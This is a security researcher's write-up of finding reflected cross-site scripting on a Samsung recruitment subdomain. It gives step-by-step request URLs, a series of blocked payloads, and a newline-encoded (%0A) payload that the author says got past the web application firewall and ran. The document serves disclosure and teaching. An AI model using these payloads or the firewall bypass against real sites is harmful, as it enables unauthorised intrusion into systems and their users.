Exploiting %0A Injection for XSS on Samsung

I began by searching for subdomains using Sublist3r and then checked the HTTP status codes for each subdomain I found.

I also used Google Dorks to find interesting URLs on the site. After some time, I tried the following Google Dork:

site:sgsg.samsung.com

This led me to an interesting URL:

URL:

https://www.sgsg.samsung.com/main/newpage.php?campus_id=Oxford&f_id=recruit_campus

Upon inspecting the source code, I found that the server was rendering the value from the campus_id parameter directly in JavaScript. Here’s the snippet from the response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "Oxford";
 ...

Trying a Simple Injection

To test the system’s response to special characters, I first tried injecting a quote (") into the campus_id parameter.

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id=Oxford%22

Response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "Oxford\"";
 ...

The system accepted the injection but didn’t allow it to execute anything harmful. It seems that the server escaped quotes.

Trying JavaScript Tag Injection

Next, I tried injecting a closing </script> tag, hoping to break the JavaScript context:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id=</script>

Response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "</script>";
 ...

The server didn’t block this request, and it seemed to parse the input. However, I couldn’t execute any malicious code yet.

Attempting an XSS Payload

I decided to try a XSS payload using an SVG tag, which is commonly used for XSS attacks.

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id=</script><svg/onload=alert`1`//>

Response:
[Blocked]

The server blocked the request because the <svg/onload=alert``//> payload.

Trying Other HTML Tags

I then tried other common HTML tags that might trigger JavaScript execution, but each attempt was blocked by the server.

At this point, I suspected that the server was specifically filtering out certain tags like <script> and other potentially harmful HTML tags.

Bypassing the Filter

I started experimenting with different bypass methods to evade the WAF (Web Application Firewall) filtering. Here’s what I tried:

Bypass 1:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script///>alert`1`//

Response:
[Blocked]

Bypass 2:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/k>alert`1`//

Response:
[Blocked]

Bypass 3:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/s=1/k//>alert`1`//

Response:
[Blocked]

Bypass 4:

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/<k>alert`1`//

Response:
[Blocked]

Bypass 5:

This time, I decided to encode the newline character (%0A) in my payload, which is commonly used to bypass WAFs.

Request:

https://www.sgsg.samsung.com/main/newpage.php?f_id=recruit_campus&campus_id</script><script/%0A<k>alert`1`//

Response:

<script type="text/javascript">
 //<![CDATA[
 var timer;
 var campus_id = "</script><script/
 <k>alert`1`//";
 ...

This request was not blocked, and I successfully bypassed the WAF by using the %0A URL encoding for a newline character. The alert(1) payload executed successfully.

In this case, I was able to bypass the server’s security mechanisms by using URL encoding (%0A) to inject a payload that triggered a XSS vulnerability. The server had filtering mechanisms to block traditional XSS payloads, but encoding the newline character allowed me to bypass the filter and execute the attack successfully.

About The Author

Choirur Rizal

See author's posts